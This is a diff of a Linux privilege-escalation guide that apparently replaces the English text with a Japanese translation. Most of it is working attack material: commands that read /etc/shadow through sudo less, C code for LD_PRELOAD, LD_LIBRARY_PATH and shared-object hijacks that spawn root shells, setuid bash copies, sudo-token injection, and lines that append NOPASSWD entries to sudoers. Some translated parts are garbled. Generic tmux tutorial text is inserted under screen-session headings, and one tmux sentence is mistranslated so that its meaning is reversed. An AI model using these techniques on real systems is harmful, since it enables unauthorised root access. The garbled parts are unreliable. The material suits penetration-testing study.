/etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` - -If a **wildcard** is used (\*), it is even easier: - +ワイルドカード(\*)が使用されている場合、さらに簡単です: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` +**対策**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -**Countermeasures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) - -### Sudo command/SUID binary without command path - -If the **sudo permission** is given to a single command **without specifying the path**: _hacker10 ALL= (root) less_ you can exploit it by changing the PATH variable +### コマンドパスを指定せずにSudoコマンド/SUIDバイナリを使用する +もし、**sudo権限**がパスを指定せずに単一のコマンドに与えられている場合、例えば _hacker10 ALL= (root) less_ のような場合、PATH変数を変更することでこれを悪用することができます。 ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` +このテクニックは、**suid** バイナリがパスを指定せずに別のコマンドを実行する場合にも使用することができます(常に**_strings_**で奇妙なSUIDバイナリの内容を確認してください)。 -This technique can also be used if a **suid** binary **executes another command without specifying the path to it (always check with** _**strings**_ **the content of a weird SUID binary)**. +[実行するためのペイロードの例](payloads-to-execute.md) -[Payload examples to execute.](payloads-to-execute.md) +### コマンドパスを持つSUIDバイナリ -### SUID binary with command path - -If the **suid** binary **executes another command specifying the path**, then, you can try to **export a function** named as the command that the suid file is calling. - -For example, if a suid binary calls _**/usr/sbin/service apache2 start**_ you have to try to create the function and export it: +もし、**suid** バイナリが**パスを指定して別のコマンドを実行する**場合、その場合は、suidファイルが呼び出しているコマンドと同じ名前の関数を作成してエクスポートすることができます。 +例えば、suidバイナリが _**/usr/sbin/service apache2 start**_ を呼び出している場合、関数を作成してエクスポートしてみる必要があります。 ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` - -Then, when you call the suid binary, this function will be executed - ### LD\_PRELOAD & **LD\_LIBRARY\_PATH** -**LD\_PRELOAD** is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library. +**LD\_PRELOAD**は、ローダーがCランタイムライブラリ(libc.so)を含む他のすべての共有ライブラリよりも前にロードする共有ライブラリまたは共有オブジェクトのパスを1つ以上含むオプションの環境変数です。これはライブラリのプリロードと呼ばれます。 -To avoid this mechanism being used as an attack vector for _suid/sgid_ executable binaries, the loader ignores _LD\_PRELOAD_ if _ruid != euid_. For such binaries, only libraries in standard paths that are also _suid/sgid_ will be preloaded. - -If you find inside the output of **`sudo -l`** the sentence: _**env\_keep+=LD\_PRELOAD**_ and you can call some command with sudo, you can escalate privileges. +このメカニズムが_suid/sgid_実行可能バイナリの攻撃ベクトルとして使用されないようにするために、ローダーは_ruid != euid_の場合に_LD\_PRELOAD_を無視します。このようなバイナリでは、_suid/sgid_である標準パスのライブラリのみがプリロードされます。 +**`sudo -l`**の出力の中に「_**env\_keep+=LD\_PRELOAD**_」という文がある場合、sudoを使用していくつかのコマンドを呼び出すことができるため、特権を昇格させることができます。 ``` Defaults env_keep += LD_PRELOAD ``` - -Save as **/tmp/pe.c** - +**/tmp/pe.c**として保存してください。 ```c #include #include #include void _init() { - unsetenv("LD_PRELOAD"); - setgid(0); - setuid(0); - system("/bin/bash"); +unsetenv("LD_PRELOAD"); +setgid(0); +setuid(0); +system("/bin/bash"); } ``` - -Then **compile it** using: - +次に、それを**コンパイル**してください。以下のコマンドを使用します: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` - -Finally, **escalate privileges** running - +最後に、特権を**エスカレーション**して実行します。 ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` - {% hint style="danger" %} -A similar privesc can be abused if the attacker controls the **LD\_LIBRARY\_PATH** env variable because he controls the path where libraries are going to be searched. +同様の特権昇格は、攻撃者が**LD\_LIBRARY\_PATH**環境変数を制御している場合に悪用される可能性があります。なぜなら、攻撃者はライブラリが検索されるパスを制御しているからです。 {% endhint %} - ```c #include #include @@ -968,9 +1105,9 @@ A similar privesc can be abused if the attacker controls the **LD\_LIBRARY\_PATH static void hijack() __attribute__((constructor)); void hijack() { - unsetenv("LD_LIBRARY_PATH"); - setresuid(0,0,0); - system("/bin/bash -p"); +unsetenv("LD_LIBRARY_PATH"); +setresuid(0,0,0); +system("/bin/bash -p"); } ``` @@ -980,19 +1117,15 @@ cd /tmp gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c sudo LD_LIBRARY_PATH=/tmp ``` +### SUIDバイナリ - .soインジェクション -### SUID Binary – .so injection - -If you find some weird binary with **SUID** permissions, you could check if all the **.so** files are **loaded correctly**. To do so you can execute: - +もし、**SUID**権限を持つ奇妙なバイナリを見つけた場合、すべての**.so**ファイルが**正しくロードされているか**を確認することができます。以下のコマンドを実行してください。 ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` +たとえば、次のようなものを見つけた場合: _pen(“/home/user/.config/libcalc.so”, O\_RDONLY) = -1 ENOENT (ファイルやディレクトリが存在しません)_ それを悪用することができます。 -For example, if you find something like: _pen(“/home/user/.config/libcalc.so”, O\_RDONLY) = -1 ENOENT (No such file or directory)_ you can exploit it. - -Create the file _/home/user/.config/libcalc.c_ with the code: - +次のコードでファイル _/home/user/.config/libcalc.c_ を作成します: ```c #include #include @@ -1000,20 +1133,33 @@ Create the file _/home/user/.config/libcalc.c_ with the code: static void inject() __attribute__((constructor)); void inject(){ - system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); +system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` - -Compile it using: - +以下のコマンドを使用してコンパイルします: ```bash gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c ``` +## 共有オブジェクトのハイジャック -And execute the binary. +Shared Object Hijacking(共有オブジェクトのハイジャック)は、特権昇格のための一般的なテクニックです。この攻撃では、アプリケーションが特定の共有オブジェクトをロードする際に、攻撃者が作成した悪意のある共有オブジェクトをロードさせることができます。 -## Shared Object Hijacking +攻撃者は、以下の手順に従って共有オブジェクトのハイジャックを実行します。 +1. 攻撃者は、アプリケーションがロードする共有オブジェクトの名前を特定します。 +2. 攻撃者は、同じ名前の共有オブジェクトを作成し、悪意のあるコードを埋め込みます。 +3. 攻撃者は、悪意のある共有オブジェクトをアプリケーションがロードするディレクトリに配置します。 +4. アプリケーションが次に起動されるとき、攻撃者が作成した共有オブジェクトがロードされ、攻撃者の悪意のあるコードが実行されます。 + +共有オブジェクトのハイジャックは、アプリケーションが特権で実行される場合に特に危険です。攻撃者は、特権のあるコードを実行するための権限を取得することができます。 + +この攻撃を防ぐためには、以下の対策を実施することが重要です。 + +- アプリケーションがロードする共有オブジェクトのパスを制限する。 +- 共有オブジェクトの署名を検証する。 +- システムの共有オブジェクトのディレクトリに対するアクセス権を制限する。 + +これらの対策を実施することで、共有オブジェクトのハイジャックによる特権昇格を防ぐことができます。 ```bash # Lets find a SUID using a non-standard library ldd some_suid @@ -1023,9 +1169,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` - -Now that we have found a SUID binary loading a library from a folder where we can write, lets create the library in that folder with the necessary name: - +今、書き込みができるフォルダからライブラリを読み込むSUIDバイナリを見つけたので、必要な名前でそのフォルダにライブラリを作成しましょう。 ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -1034,24 +1178,21 @@ Now that we have found a SUID binary loading a library from a folder where we ca static void hijack() __attribute__((constructor)); void hijack() { - setresuid(0,0,0); - system("/bin/bash -p"); +setresuid(0,0,0); +system("/bin/bash -p"); } ``` - -If you get an error such as - +もし、以下のようなエラーが表示された場合、 ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` - -that means that the library you have generated need to have a function called `a_function_name`. +それは、生成されたライブラリに `a_function_name` という名前の関数が必要です。 ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. [**GTFOArgs**](https://gtfoargs.github.io/) is the same but for cases where you can **only inject arguments** in a command. +[**GTFOBins**](https://gtfobins.github.io) は、攻撃者がローカルのセキュリティ制限を回避するために悪用できるUnixバイナリの選別されたリストです。[**GTFOArgs**](https://gtfoargs.github.io/) は、コマンドに引数を**注入することしかできない**場合に使用されます。 -The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks. +このプロジェクトは、制限されたシェルからの脱出、特権の昇格または維持、ファイルの転送、バインドシェルとリバースシェルの生成、および他のポストエクスプロイテーションタスクを容易にするために悪用できるUnixバイナリの正当な機能を収集しています。 > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -1064,221 +1205,347 @@ The project collects legitimate functions of Unix binaries that can be abused to ### FallOfSudo -If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule. +`sudo -l` にアクセスできる場合、ツール [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) を使用して、どのsudoルールを悪用できるかを確認できます。 -### Reusing Sudo Tokens +### Sudoトークンの再利用 -In the scenario where **you have a shell as a user with sudo privileges** but you don't know the password of the user, you can **wait for him/her to execute some command using `sudo`**. Then, you can **access the token of the session where sudo was used and use it to execute anything as sudo** (privilege escalation). +**sudo特権を持つユーザーとしてシェルにアクセスできる**シナリオでは、ユーザーのパスワードがわからない場合でも、ユーザーが `sudo` を使用してコマンドを実行するのを**待つことができます**。その後、sudoが使用されたセッションのトークンにアクセスし、それを使用してsudoとして何でも実行できます(特権昇格)。 -Requirements to escalate privileges: +特権昇格のための要件: -* You already have a shell as user "_sampleuser_" -* "_sampleuser_" have **used `sudo`** to execute something in the **last 15mins** (by default that's the duration of the sudo token that allows us to use `sudo` without introducing any password) -* `cat /proc/sys/kernel/yama/ptrace_scope` is 0 -* `gdb` is accessible (you can be able to upload it) +* すでにユーザー "_sampleuser_" としてシェルにアクセスできる +* "_sampleuser_" が**最後の15分間**に `sudo` を使用して何かを実行している(デフォルトでは、パスワードを入力せずに `sudo` を使用できるsudoトークンの有効期間) +* `cat /proc/sys/kernel/yama/ptrace_scope` が0である +* `gdb` にアクセスできる(アップロードできる必要があります) -(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) +(`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` を使用して一時的に `ptrace_scope` を有効にするか、`/etc/sysctl.d/10-ptrace.conf` を変更して `kernel.yama.ptrace_scope = 0` と設定して永久に有効にすることができます) -If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo\_inject**](https://github.com/nongiach/sudo\_inject) - -* The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): +これらの要件がすべて満たされている場合、次のように特権を昇格できます:[**https://github.com/nongiach/sudo\_inject**](https://github.com/nongiach/sudo\_inject) +* **最初のエクスプロイト**(`exploit.sh`)は、_tmp_ 内にバイナリ `activate_sudo_token` を作成します。これを使用して、セッションでsudoトークンを**アクティブにできます**(自動的にルートシェルは取得できませんが、`sudo su` を実行してください): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` - -* The **second exploit** (`exploit_v2.sh`) will create a sh shell in _/tmp_ **owned by root with setuid** - +* **第二のエクスプロイト** (`exploit_v2.sh`) は、_rootによって所有され、setuidである_ _/tmp_ にshシェルを作成します。 ```bash bash exploit_v2.sh /tmp/sh -p ``` - -* The **third exploit** (`exploit_v3.sh`) will **create a sudoers file** that makes **sudo tokens eternal and allows all users to use sudo** - +* **第三のエクスプロイト** (`exploit_v3.sh`) は、**sudo トークンを永続化し、すべてのユーザーが sudo を使用できるようにする sudoers ファイルを作成**します。 ```bash bash exploit_v3.sh sudo su ``` +### /var/run/sudo/ts/\<ユーザー名> -### /var/run/sudo/ts/\ - -If you have **write permissions** in the folder or on any of the created files inside the folder you can use the binary [**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools) to **create a sudo token for a user and PID**.\ -For example, if you can overwrite the file _/var/run/sudo/ts/sampleuser_ and you have a shell as that user with PID 1234, you can **obtain sudo privileges** without needing to know the password doing: - +もし、そのフォルダまたはフォルダ内の作成されたファイルのいずれかに**書き込み権限**がある場合、バイナリ[**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools)を使用して、ユーザーとPIDのためのsudoトークンを**作成**することができます。\ +例えば、ユーザー名がsampleuserで、PIDが1234のシェルを持っている場合、ファイル_/var/run/sudo/ts/sampleuser_を上書きすることができ、パスワードを知る必要なくsudo特権を**取得**することができます。以下のように実行します: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` - ### /etc/sudoers, /etc/sudoers.d -The file `/etc/sudoers` and the files inside `/etc/sudoers.d` configure who can use `sudo` and how. These files **by default can only be read by user root and group root**.\ -**If** you can **read** this file you could be able to **obtain some interesting information**, and if you can **write** any file you will be able to **escalate privileges**. - +ファイル `/etc/sudoers` と `/etc/sudoers.d` 内のファイルは、`sudo` を使用できるユーザーとその方法を設定します。これらのファイルは**デフォルトでは root ユーザーと root グループのみが読み取り可能**です。\ +このファイルを**読み取ることができる場合**、興味深い情報を**入手することができる**かもしれません。また、任意のファイルを**書き込むことができる場合**、特権を**昇格させることができます**。 ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` - -If you can write you can abuse this permission - +もし書き込み権限があれば、それを悪用することができます。 ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` - -Another way to abuse these permissions: - +これらの権限を悪用する別の方法: ```bash -# makes it so every terminal can sudo +# makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win # makes it so sudo never times out echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` - ### DOAS -There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, remember to check its configuration at `/etc/doas.conf` - +`sudo`バイナリの代わりとして、OpenBSDでは`doas`などのいくつかの選択肢があります。`/etc/doas.conf`でその設定を確認することを忘れないでください。 ``` permit nopass demo as root cmd vim ``` +### Sudoハイジャック -### Sudo Hijacking +もし、あるユーザーが通常マシンに接続し、特権を昇格させるために`sudo`を使用することを知っている場合、そのユーザーコンテキスト内でシェルを取得した場合、**rootとしてコードを実行し、その後にユーザーのコマンドを実行する新しいsudo実行可能ファイルを作成**することができます。そして、ユーザーコンテキストの$PATHを変更します(たとえば、.bash\_profileに新しいパスを追加する)ので、ユーザーがsudoを実行すると、あなたのsudo実行可能ファイルが実行されます。 -If you know that a **user usually connects to a machine and uses `sudo`** to escalate privileges and you got a shell within that user context, you can **create a new sudo executable** that will execute your code as root and then the user's command. Then, **modify the $PATH** of the user context (for example adding the new path in .bash\_profile) so when the user executes sudo, your sudo executable is executed. +ただし、ユーザーが別のシェル(bash以外)を使用している場合は、新しいパスを追加するために他のファイルを変更する必要があります。たとえば、[sudo-piggyback](https://github.com/APTy/sudo-piggyback)は`~/.bashrc`、`~/.zshrc`、`~/.bash_profile`を変更します。[bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire\_modules/bashdoor.py)には別の例があります。 -Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire\_modules/bashdoor.py) - -## Shared Library +## 共有ライブラリ ### ld.so -The file `/etc/ld.so.conf` indicates **where the loaded configurations files are from**. Typically, this file contains the following path: `include /etc/ld.so.conf.d/*.conf` +ファイル`/etc/ld.so.conf`は、**ロードされた設定ファイルの場所**を示しています。通常、このファイルには次のパスが含まれています:`include /etc/ld.so.conf.d/*.conf` -That means that the configuration files from `/etc/ld.so.conf.d/*.conf` will be read. This configuration files **points to other folders** where **libraries** are going to be **searched** for. For example, the content of `/etc/ld.so.conf.d/libc.conf` is `/usr/local/lib`. **This means that the system will search for libraries inside `/usr/local/lib`**. +これは、`/etc/ld.so.conf.d/*.conf`の設定ファイルが読み込まれることを意味します。この設定ファイルは、**ライブラリが検索される他のフォルダー**を指すことがあります。たとえば、`/etc/ld.so.conf.d/libc.conf`の内容は`/usr/local/lib`です。**これはシステムが`/usr/local/lib`内のライブラリを検索することを意味します**。 -If for some reason **a user has write permissions** on any of the paths indicated: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, any file inside `/etc/ld.so.conf.d/` or any folder within the config file inside `/etc/ld.so.conf.d/*.conf` he may be able to escalate privileges.\ -Take a look at **how to exploit this misconfiguration** in the following page: +何らかの理由で、ユーザーが指定されたパスのいずれか(`/etc/ld.so.conf`、`/etc/ld.so.conf.d/`、`/etc/ld.so.conf.d/`内の任意のファイル、または`/etc/ld.so.conf.d/*.conf`内の設定ファイル内の任意のフォルダー)に書き込み権限を持っている場合、特権を昇格させることができるかもしれません。\ +次のページで、この設定ミスを悪用する方法を見てみましょう: {% content-ref url="ld.so.conf-example.md" %} [ld.so.conf-example.md](ld.so.conf-example.md) {% endcontent-ref %} ### RPATH - ``` level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH" - 0x00000001 (NEEDED) Shared library: [libc.so.6] - 0x0000000f (RPATH) Library rpath: [/var/tmp/flag15] +0x00000001 (NEEDED) Shared library: [libc.so.6] +0x0000000f (RPATH) Library rpath: [/var/tmp/flag15] level15@nebula:/home/flag15$ ldd ./flag15 - linux-gate.so.1 => (0x0068c000) - libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) - /lib/ld-linux.so.2 (0x005bb000) +linux-gate.so.1 => (0x0068c000) +libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) +/lib/ld-linux.so.2 (0x005bb000) ``` - -By copying the lib into `/var/tmp/flag15/` it will be used by the program in this place as specified in the `RPATH` variable. - +`/var/tmp/flag15/`にライブラリをコピーすることで、`RPATH`変数で指定された場所にあるプログラムによって使用されます。 ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ level15@nebula:/home/flag15$ ldd ./flag15 - linux-gate.so.1 => (0x005b0000) - libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) - /lib/ld-linux.so.2 (0x00737000) +linux-gate.so.1 => (0x005b0000) +libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) +/lib/ld-linux.so.2 (0x00737000) ``` - -Then create an evil library in `/var/tmp` with `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` - +次に、`gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`を使用して、`/var/tmp`に悪意のあるライブラリを作成します。 ```c #include #define SHELL "/bin/sh" int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { - char *file = SHELL; - char *argv[] = {SHELL,0}; - setresuid(geteuid(),geteuid(), geteuid()); - execve(file,argv,0); +char *file = SHELL; +char *argv[] = {SHELL,0}; +setresuid(geteuid(),geteuid(), geteuid()); +execve(file,argv,0); } ``` +## 機能 -## Capabilities - -Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\ -Read the following page to **learn more about capabilities and how to abuse them**: +Linuxの機能は、プロセスに利用可能なルート特権の一部を提供します。これにより、ルート特権がより小さく独立した単位に分割されます。それぞれの単位は個別にプロセスに付与することができます。これにより、特権の完全なセットが減少し、攻撃のリスクが低下します。 +詳細については、次のページを読んで機能について詳しく学びましょう。 {% content-ref url="linux-capabilities.md" %} [linux-capabilities.md](linux-capabilities.md) {% endcontent-ref %} -## Directory permissions +## ディレクトリのパーミッション -In a directory, the **bit for "execute"** implies that the user affected can "**cd**" into the folder.\ -The **"read"** bit implies the user can **list** the **files**, and the **"write"** bit implies the user can **delete** and **create** new **files**. +ディレクトリ内の「実行」ビットは、影響を受けるユーザーがフォルダに「cd」できることを意味します。 +「読み取り」ビットは、ユーザーがファイルを「リスト」できることを意味し、「書き込み」ビットは、ユーザーがファイルを「削除」および「作成」できることを意味します。 -## ACLs - -ACLs (Access Control Lists) are the second level of discretionary permissions, that **may override the standard ugo/rwx** ones. When used correctly they can grant you a **better granularity in setting access to a file or a directory**, for example by giving or denying access to a specific user that is neither the file owner nor the group owner (from [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)).\ -**Give** user "kali" read and write permissions over a file: +## ACL(アクセス制御リスト) +ACL(アクセス制御リスト)は、標準のugo/rwxの権限を上書きする可能性のある2番目のレベルの任意の権限です。正しく使用すると、ファイルやディレクトリへのアクセスを設定する際に、より細かい粒度でアクセスを設定できます。たとえば、ファイルの所有者でもグループの所有者でもない特定のユーザーにアクセスを許可または拒否することができます([ここから](https://linuxconfig.org/how-to-manage-acls-on-linux))。 +ユーザー「kali」にファイルの読み取りと書き込みの権限を与えます。 ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` +**システムから特定のACLを持つファイルを取得する方法:** -**Get** files with specific ACLs from the system: +To get files with specific ACLs from the system, you can use the following command: +システムから特定のACLを持つファイルを取得するには、次のコマンドを使用します。 + +```bash +getfacl -R /path/to/directory | grep "specific_acl" +``` + +Replace `/path/to/directory` with the actual directory path where you want to search for files. Replace `"specific_acl"` with the specific ACL you are looking for. + +`/path/to/directory`を実際のディレクトリパスに置き換えて、ファイルを検索したいディレクトリを指定します。`"specific_acl"`を探している特定のACLに置き換えてください。 + +This command will recursively search for files in the specified directory and its subdirectories, and display the ACLs of those files. The `grep` command is used to filter the output and display only the files with the specific ACL. + +このコマンドは、指定したディレクトリとそのサブディレクトリ内のファイルを再帰的に検索し、それらのファイルのACLを表示します。`grep`コマンドは、出力をフィルタリングして特定のACLを持つファイルのみを表示するために使用されます。 ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` +## シェルセッションを開く -## Open shell sessions +**古いバージョン**では、異なるユーザー(**root**)のいくつかの**シェル**セッションを**乗っ取る**ことができます。\ +**最新バージョン**では、**自分のユーザー**のスクリーンセッションにのみ**接続**できます。ただし、セッション内には**興味深い情報**が含まれている可能性があります。 -In **old versions** you may **hijack** some **shell** session of a different user (**root**).\ -In **newest versions** you will be able to **connect** to screen sessions only of **your own user**. However, you could find **interesting information inside the session**. - -### screen sessions hijacking - -**List screen sessions** +### スクリーンセッションの乗っ取り +**スクリーンセッションの一覧表示** ```bash screen -ls screen -ls / # Show another user' screen sessions ``` +**セッションにアタッチする** -![](<../../.gitbook/assets/image (130).png>) +To attach to a session, use the following command: +セッションにアタッチするには、以下のコマンドを使用します。 -**Attach to a session** +```bash +tmux attach-session -t +``` +Replace `` with the name of the session you want to attach to. + +`` をアタッチしたいセッションの名前に置き換えてください。 + +**Detach from a session** + +**セッションからデタッチする** + +To detach from a session, use the following key combination: + +セッションからデタッチするには、以下のキーコンビネーションを使用します。 + +``` +Ctrl + b, d +``` + +**Create a new session** + +**新しいセッションを作成する** + +To create a new session, use the following command: + +新しいセッションを作成するには、以下のコマンドを使用します。 + +```bash +tmux new-session -s +``` + +Replace `` with the desired name for the new session. + +`` を新しいセッションの名前に置き換えてください。 + +**List sessions** + +**セッションの一覧を表示する** + +To list all active sessions, use the following command: + +すべてのアクティブなセッションを一覧表示するには、以下のコマンドを使用します。 + +```bash +tmux list-sessions +``` + +**Kill a session** + +**セッションを終了する** + +To kill a session, use the following command: + +セッションを終了するには、以下のコマンドを使用します。 + +```bash +tmux kill-session -t +``` + +Replace `` with the name of the session you want to kill. + +`` を終了したいセッションの名前に置き換えてください。 ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` +## tmuxセッションの乗っ取り -## tmux sessions hijacking - -This was a problem with **old tmux versions**. I wasn't able to hijack a tmux (v2.1) session created by root as a non-privileged user. - -**List tmux sessions** +これは**古いtmuxバージョン**の問題でした。特権を持たないユーザーとして作成されたルートのtmux(v2.1)セッションを乗っ取ることができませんでした。 +**tmuxセッションの一覧表示** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess ``` +**セッションにアタッチする** -![](<../../.gitbook/assets/image (131).png>) +To attach to a session, use the following command: -**Attach to a session** +セッションにアタッチするには、以下のコマンドを使用します: +```bash +tmux attach-session -t +``` + +Replace `` with the name of the session you want to attach to. + +`` をアタッチしたいセッションの名前に置き換えてください。 + +If you are unsure about the available sessions, you can list them using the command: + +利用可能なセッションについて確認する場合は、次のコマンドを使用してリストを表示できます: + +```bash +tmux list-sessions +``` + +This will display a list of all active sessions. + +これにより、すべてのアクティブなセッションのリストが表示されます。 + +**Detach from a session** + +**セッションからデタッチする** + +To detach from a session, simply press `Ctrl` + `b` followed by `d`. + +セッションからデタッチするには、単に `Ctrl` + `b` を押した後に `d` を押します。 + +**Create a new session** + +**新しいセッションを作成する** + +To create a new session, use the following command: + +新しいセッションを作成するには、以下のコマンドを使用します: + +```bash +tmux new-session -s +``` + +Replace `` with the desired name for the new session. + +`` を新しいセッションの名前に置き換えてください。 + +**Switch between sessions** + +**セッション間を切り替える** + +To switch between sessions, use the following command: + +セッション間を切り替えるには、以下のコマンドを使用します: + +```bash +tmux switch-client -t +``` + +Replace `` with the name of the session you want to switch to. + +`` を切り替えたいセッションの名前に置き換えてください。 + +**Kill a session** + +**セッションを終了する** + +To kill a session, use the following command: + +セッションを終了するには、以下のコマンドを使用します: + +```bash +tmux kill-session -t +``` + +Replace `` with the name of the session you want to kill. + +`` を終了したいセッションの名前に置き換えてください。 ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1288,145 +1555,179 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` - -Check **Valentine box from HTB** for an example. +**Valentine box from HTB**の例を参照してください。 ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ -This bug is caused when creating a new ssh key in those OS, as **only 32,768 variations were possible**. This means that all the possibilities can be calculated and **having the ssh public key you can search for the corresponding private key**. You can find the calculated possibilities here: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +2006年9月から2008年5月13日までの間にDebianベースのシステム(Ubuntu、Kubuntuなど)で生成されたすべてのSSLおよびSSHキーは、このバグの影響を受ける可能性があります。\ +このバグは、これらのOSで新しいsshキーを作成する際に発生します。**32,768のバリエーションしか可能ではありません**。つまり、すべての可能性を計算することができ、**sshの公開鍵を持っていれば、対応する秘密鍵を検索することができます**。計算された可能性はこちらで見つけることができます:[https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Interesting configuration values +### SSHの興味深い設定値 -* **PasswordAuthentication:** Specifies whether password authentication is allowed. The default is `no`. -* **PubkeyAuthentication:** Specifies whether public key authentication is allowed. The default is `yes`. -* **PermitEmptyPasswords**: When password authentication is allowed, it specifies whether the server allows login to accounts with empty password strings. The default is `no`. +* **PasswordAuthentication:** パスワード認証が許可されているかどうかを指定します。デフォルトは `no` です。 +* **PubkeyAuthentication:** 公開鍵認証が許可されているかどうかを指定します。デフォルトは `yes` です。 +* **PermitEmptyPasswords**: パスワード認証が許可されている場合、サーバーが空のパスワード文字列を持つアカウントへのログインを許可するかどうかを指定します。デフォルトは `no` です。 ### PermitRootLogin -Specifies whether root can log in using ssh, default is `no`. Possible values: +rootがsshを使用してログインできるかどうかを指定します。デフォルトは `no` です。可能な値は以下の通りです: -* `yes`: root can login using password and private key -* `without-password` or `prohibit-password`: root can only login with a private key -* `forced-commands-only`: Root can login only using private key and if the commands options are specified -* `no` : no +* `yes`: rootはパスワードと秘密鍵を使用してログインできます +* `without-password`または`prohibit-password`: rootは秘密鍵のみを使用してログインできます +* `forced-commands-only`: rootは秘密鍵のみを使用してログインし、コマンドオプションが指定されている場合にのみログインできます +* `no` : できません ### AuthorizedKeysFile -Specifies files that contain the public keys that can be used for user authentication. It can contain tokens like `%h`, which will be replaced by the home directory. **You can indicate absolute paths** (starting in `/`) or **relative paths from the user's home**. For example: - 